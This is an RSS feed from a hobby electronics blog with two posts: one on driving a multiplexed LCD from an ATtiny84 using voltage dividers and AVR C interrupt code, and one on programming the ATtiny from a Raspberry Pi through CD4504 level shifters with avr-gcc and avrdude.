<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet href="/static/feed.xsl?v=630b5fee" type="text/xsl"?>
<rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" version="2.0">
    <channel>
        <title>deadlime</title>
        <description>Web, programming, dead citrus fruits.</description>
        <lastBuildDate>Sat, 11 Jul 2026 09:56:42 +0000</lastBuildDate>
        <language>en</language>
        <link>https://deadlime.hu/en/</link>
        
            <item>
            <title>The final countdown</title>
            <link>https://deadlime.hu/en/2026/07/06/the-final-countdown/</link>
            <pubDate>Sun, 05 Jul 2026 22:19:46 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardware]]></category>
                    <category><![CDATA[AVR]]></category>
                    
            <guid isPermaLink="false">abd930e8e9b3ea7b58445eaa7aff393e</guid>
            <description>Driving an LCD using an ATtiny microcontroller</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny_lcd.jpg" width="660" height="450" alt="Resistors and an LCD display showing the number 02A" title="" loading="lazy" />
</p>

<p>After countless <a href="https://deadlime.hu/en/2026/06/22/the-great-count-up/">counter</a> <a href="https://deadlime.hu/en/2026/06/29/an-unexpected-recount/">content</a>, there's only one loose end left: what happened to those cute little LCD displays?</p>
<p>After about a month and a half of wandering around the world, they finally arrived. I had to straighten each of their pins one by one because the journey had clearly been rough on them, but other than that, they seemed perfectly healthy. Time to finally do something with them.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd.jpg" width="660" height="450" alt="LCD displays resembling ICs" title="" loading="lazy" />
</p>

<h3>How does an LCD work?</h3>
<p>No idea, it must be magic. But after all the adventures, I believe I can at least explain how to make them work. Well, this particular panel, anyway. I have no idea how much of this carries over to other LCDs.</p>
<p>The LED display we used previously had 3 COM pins and 7 segment pins (eight if we count the dot as well, but we ignored that). This LCD has 4 COM pins and 6 segment pins, which already suggests that the COM pins are no longer mapped one-to-one with the digits. Fortunately, there's a table that tells us exactly how the two relate.</p>
<table>
  <thead>
    <tr>
      <th>COM / Pin</th>
      <th>1</th>
      <th>2</th>
      <th>3</th>
      <th>4</th>
      <th>5</th>
      <th>6</th>
      <th>7</th>
      <th>8</th>
      <th>9</th>
      <th>10</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th>COM1</th>
      <td></td>
      <td>3D</td>
      <td></td>
      <td>2D</td>
      <td></td>
      <td>1D</td>
      <td></td>
      <td></td>
      <td></td>
      <td>COM1</td>
    </tr>
    <tr>
      <th>COM2</th>
      <td>3C</td>
      <td>3E</td>
      <td>2C</td>
      <td>2E</td>
      <td>1C</td>
      <td>1E</td>
      <td></td>
      <td></td>
      <td>COM2</td>
      <td></td>
    </tr>
    <tr>
      <th>COM3</th>
      <td>3B</td>
      <td>3G</td>
      <td>2B</td>
      <td>2G</td>
      <td>1B</td>
      <td>1G</td>
      <td></td>
      <td>COM3</td>
      <td></td>
      <td></td>
    </tr>
    <tr>
      <th>COM4</th>
      <td>3A</td>
      <td>3F</td>
      <td>2A</td>
      <td>2F</td>
      <td>1A</td>
      <td>1F</td>
      <td>COM4</td>
      <td></td>
      <td></td>
      <td></td>
    </tr>
  </tbody>
</table>
<p>There would've even been room for the dot. You can also see that each digit is associated with two pins. The numbering goes from left to right: segment <code>1D</code> belongs to the leftmost digit, while <code>3D</code> belongs to the rightmost one. I'm sure coding this will be delightful, but before we get there, this display has a few more quirks.</p>
<p>With LED displays, there are common-anode and common-cathode variants, which determine whether you need to set the segment pin high and the COM pin low, or the other way around. LCDs don't work like that. We have to alternate the polarity every single cycle. And if that weren't enough, the inactive COM pins shouldn't be the opposite polarity of the active one; they need to be held at half the supply voltage.</p>
<p>Let's look at an example. Suppose we want to enable segment <code>3D</code>, which is at the intersection of <code>COM1</code> and pin <code>2</code>. The display requires <code class="red">3V</code>, so half the supply is <code class="yellow">1.5V</code>, and then we have ground at <code>0V</code>.</p>
<ul>
<li>Set the <code>COM1</code> pin to <code class="red">3V</code>.</li>
<li>Set <code>COM2</code>-<code>4</code> to <code class="yellow">1.5V</code>.</li>
<li>Set pin <code>2</code> to <code>0V</code>.</li>
<li>Set the remaining segment pins (<code>1</code>, <code>3</code>, <code>4</code>, <code>5</code>, <code>6</code>) to <code class="red">3V</code>.</li>
<li>Wait a little.</li>
<li>Set the <code>COM1</code> pin to <code>0V</code>.</li>
<li><code>COM2</code>-<code>4</code> stays at <code class="yellow">1.5V</code>.</li>
<li>Set pin <code>2</code> to <code class="red">3V</code>.</li>
<li>Set the remaining segment pins to <code>0V</code>.</li>
<li>Wait a little, then start the whole thing over again.</li>
</ul>
<p>To display arbitrary numbers, we simply need to generalize this whole dance:</p>
<table>
  <thead>
    <tr>
      <th>Step</th>
      <th>COM1</th>
      <th>COM2</th>
      <th>COM3</th>
      <th>COM4</th>
      <th>1</th>
      <th>2</th>
      <th>3</th>
      <th>4</th>
      <th>5</th>
      <th>6</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <th>1.</th>
      <td class="red"><code>3V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td>-</td>
      <td><code>0V</code></td>
      <td>-</td>
      <td><code>0V</code></td>
      <td>-</td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>2.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>3.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>4.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
    </tr>
    <tr>
      <th>5.</th>
      <td><code>0V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td>-</td>
      <td class="red"><code>3V</code></td>
      <td>-</td>
      <td class="red"><code>3V</code></td>
      <td>-</td>
      <td><code>0V</code></td>
    </tr>
    <tr>
      <th>6.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
    </tr>
    <tr>
      <th>7.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
    </tr>
    <tr>
      <th>8.</th>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td class="yellow"><code>1.5V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td class="red"><code>3V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
      <td><code>0V</code></td>
    </tr>
  </tbody>
</table>
<p>The COM pins follow a fixed repeating pattern, while the segment pins are determined by the number we're currently displaying. Assuming I haven't messed anything up, repeating these eight steps will display the number <strong>123</strong>. You can also see that the first four steps are simply the inverse of the second four.</p>
<p>Now we just have to figure out where we're going to get <code class="yellow">1.5V</code> from.</p>
<h3>Resistance isn't futile after all</h3>
<p>We're going to use two little &quot;tricks&quot;. The first is that if we connect two resistors in series between <code>0V</code> and <code class="red">3V</code>, we'll get exactly <code class="yellow">1.5V</code> between them. What values should the resistors be? I'm sure you could calculate it somehow. I just tried two 47 kΩ resistors, and they worked.</p>
<p>The second &quot;trick&quot; is how we'll switch between the three voltage levels. We're using an <strong>ATtiny84</strong> again, whose pins have three possible states: low, high, and high impedance (input mode). If we connect a microcontroller pin to an LCD pin through the two resistors of the voltage divider, then the LCD pin will see <code>0V</code> when the microcontroller drives it low, <code class="red">3V</code> when it drives it high, and <code class="yellow">1.5V</code> when it's configured as an input.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd_wiring.jpg" width="660" height="615" alt="Wiring diagram: ATtiny84 and LCD display" title="" loading="lazy" />
</p>
<p class="image-caption">The LCD is substituted with a ten-pin IC</p>

<p>While routing the wires, the main goal was to make the code simpler later on. That's why the poor ATtiny ended up upside down, allowing all the segment pins to land on port A. The COM pins mostly ended up on port B (there isn't enough room there because of the RESET pin), which will also be a little inconvenience during coding. We're not bothering with buttons this time; the program will automatically decrement the counter at regular intervals.</p>
<p>For the physical assembly, I used an even smaller prototyping board, which I regretted multiple times during the wiring. There wasn't much room to work with, but aesthetically, it matches the LCD quite nicely.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/lcd_breadboard.jpg" width="660" height="742" alt="The previous microcontroller counter and the LCD counter next to each other" title="" loading="lazy" />
</p>
<p class="image-caption">For comparison, you can also see our previous smallest LED version in the photo.</p>

<p>Unfortunately, the pin spacing of the LCD didn't turn out to be completely breadboard-friendly after all, but with a bit of persuasion, I managed to convince it to fit.</p>
<p>Now we can move on to the code. Fair warning: an outrageous amount of bit operations is about to follow. Parental supervision is recommended.</p>
<h3>Bit-fiddling</h3>
<p>Programming the chip is exactly the <a href="https://deadlime.hu/en/2026/06/29/an-unexpected-recount/#uploading">same as before</a>. We just have to make the segments work in a completely different way. First, here's a quick summary of how everything is wired together:</p>
<table>
  <thead>
    <tr>
      <th>LCD pin</th>
      <th>ATtiny pin</th>
      <th>Digit</th>
      <th>COM1</th>
      <th>COM2</th>
      <th>COM3</th>
      <th>COM4</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>6</td>
      <td>PA0</td>
      <td>1</td>
      <td>D</td>
      <td>E</td>
      <td>G</td>
      <td>F</td>
    </tr>
    <tr>
      <td>5</td>
      <td>PA1</td>
      <td>1</td>
      <td>-</td>
      <td>C</td>
      <td>B</td>
      <td>A</td>
    </tr>
    <tr>
      <td>4</td>
      <td>PA2</td>
      <td>2</td>
      <td>D</td>
      <td>E</td>
      <td>G</td>
      <td>F</td>
    </tr>
    <tr>
      <td>3</td>
      <td>PA3</td>
      <td>2</td>
      <td>-</td>
      <td>C</td>
      <td>B</td>
      <td>A</td>
    </tr>
    <tr>
      <td>2</td>
      <td>PA4</td>
      <td>3</td>
      <td>D</td>
      <td>E</td>
      <td>G</td>
      <td>F</td>
    </tr>
    <tr>
      <td>1</td>
      <td>PA5</td>
      <td>3</td>
      <td>-</td>
      <td>C</td>
      <td>B</td>
      <td>A</td>
    </tr>
  </tbody>
</table>
<p>The digits all follow the same pattern, but the segments of each digit are split across multiple COM lines. Each COM contains two bits of segment data per digit, and with four COM lines, that's exactly eight bits, so we can store the segment data like this:</p>
<pre class="ascii"><code>    | COM4  | COM3  | COM2  | COM1  |
    |-------|-------|-------|-------|
    | F | A | G | B | E | C | D | _ |
|---|---|---|---|---|---|---|---|---|
| 7 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 |
|---|---|---|---|---|---|---|---|---|
| 8 | 1 | 1 | 1 | 1 | 1 | 1 | 1 | 0 |
|---|---|---|---|---|---|---|---|---|
</code></pre>
<p>We could put anything in place of the <code>_</code>, I went with zero. That gives us the following values for all the digits:</p>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> F_CPU 1000000UL</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/interrupt.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/io.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;util/delay.h&gt;</span></span>

<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> segments[<span class="hljs-number">16</span>] = {
    <span class="hljs-number">0b11011110</span>,
    <span class="hljs-number">0b00010100</span>,
    <span class="hljs-number">0b01111010</span>,
    <span class="hljs-number">0b01110110</span>,
    <span class="hljs-number">0b10110100</span>,
    <span class="hljs-number">0b11100110</span>,
    <span class="hljs-number">0b11101110</span>,
    <span class="hljs-number">0b01010100</span>,
    <span class="hljs-number">0b11111110</span>,
    <span class="hljs-number">0b11110110</span>,
    <span class="hljs-number">0b11111100</span>,
    <span class="hljs-number">0b10101110</span>,
    <span class="hljs-number">0b11001010</span>,
    <span class="hljs-number">0b00111110</span>,
    <span class="hljs-number">0b11101010</span>,
    <span class="hljs-number">0b11101000</span>,
};
</code></pre>
<p>We'll also need a few helper variables:</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> com_pins[<span class="hljs-number">4</span>] = { PA7, PB2, PB1, PB0 };
<span class="hljs-keyword">const</span> <span class="hljs-keyword">uint8_t</span> seg_pins[<span class="hljs-number">6</span>] = { PA5, PA4, PA3, PA2, PA1, PA0 };

<span class="hljs-keyword">uint8_t</span> com_idx = <span class="hljs-number">0</span>;
<span class="hljs-keyword">uint8_t</span> direction = <span class="hljs-number">0</span>;

<span class="hljs-keyword">int16_t</span> count = <span class="hljs-number">0xFFF</span>;
</code></pre>
<p>The <code>com_idx</code> tells us which COM is currently active, <code>direction</code> decides whether its value is currently zero or one, and <code>count</code> stores the number we're displaying. On to the <code>main</code> function:</p>
<pre><code class="hljs arduino"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> </span>{
  DDRA = <span class="hljs-number">0b11111111</span>;
  DDRB = <span class="hljs-number">0b0111</span>;

  PORTA = <span class="hljs-number">0</span>;
  PORTB = <span class="hljs-number">0</span>;

  TCCR1A = <span class="hljs-number">0</span>;
  TCCR1B |= _BV(CS12) | _BV(WGM12);
  OCR1A = <span class="hljs-number">15</span>;
  TIMSK1 |= _BV(OCIE1A);

  sei();

  <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {
    _delay_ms(<span class="hljs-number">1000</span>);
    cli();
    <span class="hljs-keyword">if</span> (--count &lt; <span class="hljs-number">0</span>) {
      count = <span class="hljs-number">0xFFF</span>;
    }
    sei();
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>It's very similar to the <a href="https://deadlime.hu/en/2026/06/29/an-unexpected-recount/#recounting">previous version</a>. The only real difference is that we've slowed down the timer and decremented the displayed number once every second. With only <code>CS12</code> enabled, the timer receives the system clock divided by 256 and counts up to 16, so our interrupt function gets called roughly 240 times per second. Because of the four COM lines, that gets divided by four again, giving us a refresh rate of about 60 Hz.</p>
<p>Now let's look at the interrupt function:</p>
<pre><code class="hljs arduino">ISR(TIM1_COMPA_vect) {
  <span class="hljs-keyword">if</span> (direction) {
    PORTA |= _BV(seg_pins[<span class="hljs-number">0</span>]) | _BV(seg_pins[<span class="hljs-number">1</span>]) | _BV(seg_pins[<span class="hljs-number">2</span>]) | _BV(seg_pins[<span class="hljs-number">3</span>]) | _BV(seg_pins[<span class="hljs-number">4</span>]) | _BV(seg_pins[<span class="hljs-number">5</span>]);
  } <span class="hljs-keyword">else</span> {
    PORTA &amp;= ~(_BV(seg_pins[<span class="hljs-number">0</span>]) | _BV(seg_pins[<span class="hljs-number">1</span>]) | _BV(seg_pins[<span class="hljs-number">2</span>]) | _BV(seg_pins[<span class="hljs-number">3</span>]) | _BV(seg_pins[<span class="hljs-number">4</span>]) | _BV(seg_pins[<span class="hljs-number">5</span>]));
  }

  <span class="hljs-comment">// ...</span>
}
</code></pre>
<p>First, we place all the segment pins into their inactive state according to the current direction.</p>
<pre><code class="hljs arduino">PORTA &amp;= ~_BV(com_pins[<span class="hljs-number">0</span>]);
DDRA &amp;= ~_BV(com_pins[<span class="hljs-number">0</span>]);
PORTB &amp;= ~(_BV(com_pins[<span class="hljs-number">1</span>]) | _BV(com_pins[<span class="hljs-number">2</span>]) | _BV(com_pins[<span class="hljs-number">3</span>]));
DDRB &amp;= ~(_BV(com_pins[<span class="hljs-number">1</span>]) | _BV(com_pins[<span class="hljs-number">2</span>]) | _BV(com_pins[<span class="hljs-number">3</span>]));
</code></pre>
<p>Then we configure all the COM pins as inputs with no pull-up resistors (high-impedance state).</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (com_idx == <span class="hljs-number">0</span>) {
  DDRA |= _BV(com_pins[com_idx]);
  <span class="hljs-keyword">if</span> (direction) {
    PORTA |= _BV(com_pins[com_idx]);
  } <span class="hljs-keyword">else</span> {
    PORTA &amp;= ~_BV(com_pins[com_idx]);
  }
} <span class="hljs-keyword">else</span> {
  DDRB |= _BV(com_pins[com_idx]);
  <span class="hljs-keyword">if</span> (direction) {
    PORTB |= _BV(com_pins[com_idx]);
  } <span class="hljs-keyword">else</span> {
    PORTB &amp;= ~_BV(com_pins[com_idx]);
  }
}
</code></pre>
<p>Next, we switch the COM pin selected by <code>com_idx</code> to output mode and drive it with the appropriate signal for the current direction. Here's the price we have to pay for one of our pins living on port A: it has to be handled separately from the others.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">uint8_t</span> seg_value1 = segments[(count &gt;&gt; <span class="hljs-number">8</span>) &amp; <span class="hljs-number">0b1111</span>];
<span class="hljs-keyword">uint8_t</span> seg_value2 = segments[(count &gt;&gt; <span class="hljs-number">4</span>) &amp; <span class="hljs-number">0b1111</span>];
<span class="hljs-keyword">uint8_t</span> seg_value3 = segments[count &amp; <span class="hljs-number">0b1111</span>];

<span class="hljs-keyword">uint8_t</span> dig1 = (seg_value1 &gt;&gt; (com_idx * <span class="hljs-number">2</span>)) &amp; <span class="hljs-number">0b11</span>;
<span class="hljs-keyword">uint8_t</span> dig2 = (seg_value2 &gt;&gt; (com_idx * <span class="hljs-number">2</span>)) &amp; <span class="hljs-number">0b11</span>;
<span class="hljs-keyword">uint8_t</span> dig3 = (seg_value3 &gt;&gt; (com_idx * <span class="hljs-number">2</span>)) &amp; <span class="hljs-number">0b11</span>;

<span class="hljs-keyword">uint8_t</span> data = (dig1 &lt;&lt; <span class="hljs-number">4</span>) | (dig2 &lt;&lt; <span class="hljs-number">2</span>) | dig3;
</code></pre>
<p>Now we calculate the states of the segment pins. At first glance, it looks a little wild, but let's walk through an example to see what it's actually doing. Suppose <code>count</code> is <code>0x123</code>, which in binary is <code>0b000100100011</code>.</p>
<p><code>count &gt;&gt; 8</code> gives <code>0b0001</code>, and bitwise ANDing it with <code>0b1111</code> still leaves us with <code>0b0001</code>, which is the digit one.</p>
<p><code>count &gt;&gt; 4</code> gives <code>0b00010010</code>, and bitwise ANDing that with <code>0b1111</code> gives <code>0b0010</code>, which is the digit two.</p>
<p>Finally, <code>count</code> (<code>0b000100100011</code>) bitwise ANDed with <code>0b1111</code> becomes <code>0b0011</code>, which is the digit three.</p>
<p>So we fetch the first, second, and third entries from the <code>segments</code> array:</p>
<ul>
<li><code>0b<span class="purple">00</span><span class="orange">01</span><span class="blue">01</span><span class="green">00</span></code></li>
<li><code>0b<span class="purple">01</span><span class="orange">11</span><span class="blue">10</span><span class="green">10</span></code></li>
<li><code>0b<span class="purple">01</span><span class="orange">11</span><span class="blue">01</span><span class="green">10</span></code></li>
</ul>
<p>We then shift these values right by 0, 2, 4, or 6 bits, depending on which COM is active, and mask them with <code>0b11</code>. The result is the <span class="green"><strong>green</strong></span> bits for COM1, the <span class="blue"><strong>blue</strong></span> bits for COM2, the <span class="orange"><strong>orange</strong></span> bits for COM3, and the <span class="purple"><strong>purple</strong></span> bits for COM4.</p>
<p>One final left shift and a few bitwise ORs later, we end up with <code class="green">0b001010</code> for COM1, <code class="blue">0b011001</code> for COM2, <code class="orange">0b011111</code> for COM3, and <code class="purple">0b000101</code> for COM4. Exactly the bits we need to set for the segments of each respective COM.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">for</span> (<span class="hljs-keyword">uint8_t</span> i = <span class="hljs-number">0</span>; i &lt; <span class="hljs-number">6</span>; ++i) {
  <span class="hljs-keyword">if</span> (direction ^ ((data &gt;&gt; i) &amp; <span class="hljs-number">1</span>)) {
    PORTA |= _BV(seg_pins[i]);
  } <span class="hljs-keyword">else</span> {
    PORTA &amp;= ~_BV(seg_pins[i]);
  }
}
</code></pre>
<p>By pure coincidence, the pins in the <code>seg_pins</code> array happen to be in exactly the same order as the bits in the data we just assembled, so we simply extract the appropriate bit and set the pin's output according to the current direction.</p>
<pre><code class="hljs arduino"><span class="hljs-keyword">if</span> (++com_idx &gt; <span class="hljs-number">3</span>) {
  com_idx = <span class="hljs-number">0</span>;
  direction = !direction;
}
</code></pre>
<p>Finally, we move on to the next COM, and once we've reached the end of the COM lines, we start all over again with the direction flipped.</p>
<h3>0x000</h3>
<p>And so we've reached the end. We've run out of numbers.</p>
<p>We've squeezed everything we possibly could out of these counters, and then some. There are no more loose ends left... except for that one particular project whose procrastination started this whole journey in the first place.</p>
<p>Maybe someday we'll finally get to that one, too.</p>

]]></content:encoded>
        </item>
            <item>
            <title>An unexpected recount</title>
            <link>https://deadlime.hu/en/2026/06/29/an-unexpected-recount/</link>
            <pubDate>Sun, 28 Jun 2026 22:18:02 +0000</pubDate>
            
            <dc:creator><![CDATA[Nagy Krisztián]]></dc:creator>
                    <category><![CDATA[hardware]]></category>
                    <category><![CDATA[AVR]]></category>
                    <category><![CDATA[Arduino]]></category>
                    <category><![CDATA[Raspberry Pi]]></category>
                    
            <guid isPermaLink="false">11b84505a23240a8b7db10ea73cc7bce</guid>
            <description>ATtiny programming without the Arduino IDE</description>
            <content:encoded><![CDATA[<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/attiny_rpi.jpg" width="660" height="450" alt="An ATtiny84 and a Raspberry Pi are communicating through level shifters" title="" loading="lazy" />
</p>

<p>In <a href="https://deadlime.hu/en/2026/06/22/the-great-count-up/">the previous post</a>, I briefly mentioned that I hadn't managed to upload code to the ATtiny using a Raspberry Pi. At that point, finishing the project was the focus, so I went with the first working solution, but the problem has been bugging me ever since, so here comes act two.</p>
<p>The plan is to get the connection between the Raspberry Pi and the ATtiny working using some new hardware. Then we can get to know the inner workings of the ATtiny a little bit more.</p>
<h3>Level shifting</h3>
<p>I read somewhere that the Pi's 3.3V GPIO pins might not be enough for the ATtiny, which prefers 5V. To solve this, I ordered a few ICs known as the <strong>CD4504</strong>:</p>
<pre class="ascii"><code>      ┌───┬──┬───┐
  VCC ┤ • └──┘   ├ VDD
A OUT ┤          ├ F OUT
 A IN ┤          ├ F IN
B OUT ┤          ├ SELECT
 B IN ┤  CD4504  ├ E OUT
C OUT ┤          ├ E IN
 C IN ┤          ├ D OUT
  VSS ┤          ├ D IN
      └──────────┘
</code></pre>
<p>It may not be the perfect choice for this purpose, but it might come in handy in other projects later. The point of the chip is that it replaces the voltage received on <code>VCC</code> with the one received on <code>VDD</code>. For example, if 3.3V comes in on <code>VCC</code> and 5V on <code>VDD</code>, then the 3.3V signal arriving at <code>A IN</code> will come out as a 5V signal on <code>A OUT</code>.</p>
<p>With <code>SELECT</code>, we could switch between TTL and CMOS signals, but as far as I understand it, both of our devices are CMOS, so we set <code>SELECT</code> low.</p>
<p>For today's playing around, we'll use an <strong>ATtiny84</strong>. The <strong>ATtiny24</strong> is still embedded in the counter circuit's breadboard. In terms of the pinout, the two are the same. The 84 has a bit more memory.</p>
<pre class="ascii"><code>             ┌───┬──┬───┐
         VDD ┤ • └──┘   ├ VSS
         PB0 ┤          ├ PA0
         PB1 ┤          ├ PA1
PB3 (RESET') ┤ ATtiny84 ├ PA2
         PB2 ┤          ├ PA3
         PA7 ┤          ├ PA4 (SCLK)
  PA6 (MOSI) ┤          ├ PA5 (MISO)
             └──────────┘
</code></pre>
<p>Our two-way communication looks like this:</p>
<ul>
<li>from the Pi to the ATtiny: <code>RESET</code>, <code>SCLK</code>, <code>MOSI</code></li>
<li>from the ATtiny to the Pi: <code>MISO</code></li>
</ul>
<p>Because of this, we use two <strong>CD4504</strong>s, one converting in the 3.3V-&gt;5V direction, the other in the 5V-&gt;3.3V direction.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/CD4504.jpg" width="660" height="430" alt="Wiring diagram: ATtiny84 and the two CD4504 level shifters" title="" loading="lazy" />
</p>

<p>To bring a little clarity to the wiring jungle, the striped wires are 5V, and the solid-coloured ones are 3.3V. The upper part of the breadboard is 3.3V, and the lower part is 5V. The signals coming from the Pi (<code>RESET</code>, <code>SCLK</code>, <code>MOSI</code>) pass through the 3.3V-&gt;5V <strong>CD4504</strong>, and the signal going to the Pi (<code>MISO</code>) passes through the 5V-&gt;3.3V <strong>CD4504</strong>.</p>
<p><a name="uploading"></a></p>
<h3>Uploading</h3>
<p>Let's take a simple program, say the classic blinking LED. We connect the LED to the <code>PA7</code> pin, turn it on for one second, then off for another one.</p>
<pre class="file"><code>blink.c
</code></pre>
<pre><code class="hljs arduino"><span class="hljs-meta">#<span class="hljs-meta-keyword">define</span> F_CPU 1000000UL</span>

<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;avr/io.h&gt;</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">&lt;util/delay.h&gt;</span></span>

<span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span> </span>{
  DDRA |= _BV(PA7);

  <span class="hljs-keyword">while</span> (<span class="hljs-number">1</span>) {
    PORTA |= _BV(PA7);
    _delay_ms(<span class="hljs-number">1000</span>);
    PORTA &amp;= ~_BV(PA7);
    _delay_ms(<span class="hljs-number">1000</span>);
  }
  <span class="hljs-keyword">return</span> <span class="hljs-number">0</span>;
}
</code></pre>
<p>As you can see, things work a little differently here. The Arduino IDE hides a lot of things from us. We'll return to these in a bit more detail later.</p>
<p>Sending it to the ATtiny won't be just a single button press either. First, we need to install a few packages. For Raspberry Pi OS running on a Pi 5, this was the command I needed:</p>
<pre class="console"><code># apt install avrdude avr-libc gcc binutils
</code></pre>
<p>Then we can compile our little program:</p>
<pre class="console"><code>$ avr-gcc -mmcu=attiny84 -Wall -Os -o blink.elf blink.c
</code></pre>
<p>At this point, we have the option to check whether the program will fit on the ATtiny with the help of the <code>avr-size</code> command:</p>
<pre class="console"><code>$ avr-size --format=avr --mcu=attiny84 blink.elf
AVR Memory Usage
----------------
Device: attiny84

Program:     100 bytes (1.2% Full)
(.text + .data + .bootloader)

Data:          0 bytes (0.0% Full)
(.data + .bss + .noinit)
</code></pre>
<p>If everything looks good, we can generate the necessary <code>hex</code> file from it:</p>
<pre class="console"><code>$ avr-objcopy -j .text -j .data -O ihex blink.elf blink.hex
</code></pre>
<p>Which we can finally copy onto the ATtiny:</p>
<pre class="console"><code>$ avrdude -p t84 -c linuxspi -P /dev/spidev0.0:/dev/gpiochip0 -x disable_no_cs -B 10kHz -U flash:w:blink.hex
avrdude: AVR device initialized and ready to accept instructions
avrdude: device signature = 0x1e930c (probably t84)
avrdude: Note: flash memory has been specified, an erase cycle will be performed.
         To disable this feature, specify the -D option.
avrdude: erasing chip
avrdude: reading input file blink.hex for flash
         with 100 bytes in 1 section within [0, 0x63]
         using 2 pages and 28 pad bytes
avrdude: writing 100 bytes flash ...

Writing | ################################################## | 100% 0.36 s 

avrdude: 100 bytes of flash written
avrdude: verifying flash memory against blink.hex

Reading | ################################################## | 100% 0.34 s 

avrdude: 100 bytes of flash verified

avrdude done.  Thank you.
</code></pre>
<p>And with that, we'd be done... but since we're already here, let's get to know the ATtiny a bit more closely and rewrite our earlier counter program.</p>
<h3>A gentle introduction</h3>
<p>I don't plan to go through the chip's <a href="https://ww1.microchip.com/downloads/en/DeviceDoc/doc8006.pdf">complete documentation</a>, which is more than 200 pages long. We'll only look at what is absolutely necessary for our counter. The basis of the whole thing is the registers, through which we can access the various hardware functions. The solution reminded me of the <strong>MCP23S17</strong>, which we also used in <a href="https://deadlime.hu/en/2026/02/22/computer-generated-dream-world/">the 286 project</a>. Interestingly, it's even the same manufacturer.</p>
<p>For example, there's the <code>DDRB</code> register, which we can use to set the direction of the pins on port 'B' (<code>PB0</code>-<code>PB3</code>). The indexing corresponds to the place value of the bits, with <code>PB0</code> being the least significant bit. The <code>PORTB</code> register is used to set the state of the output pins, and we can read the values of the input pins from the <code>PINB</code> register. Similarly, these registers exist for the pins of port 'A', but there are also registers for timers, interrupts, and many others for settings and data.</p>
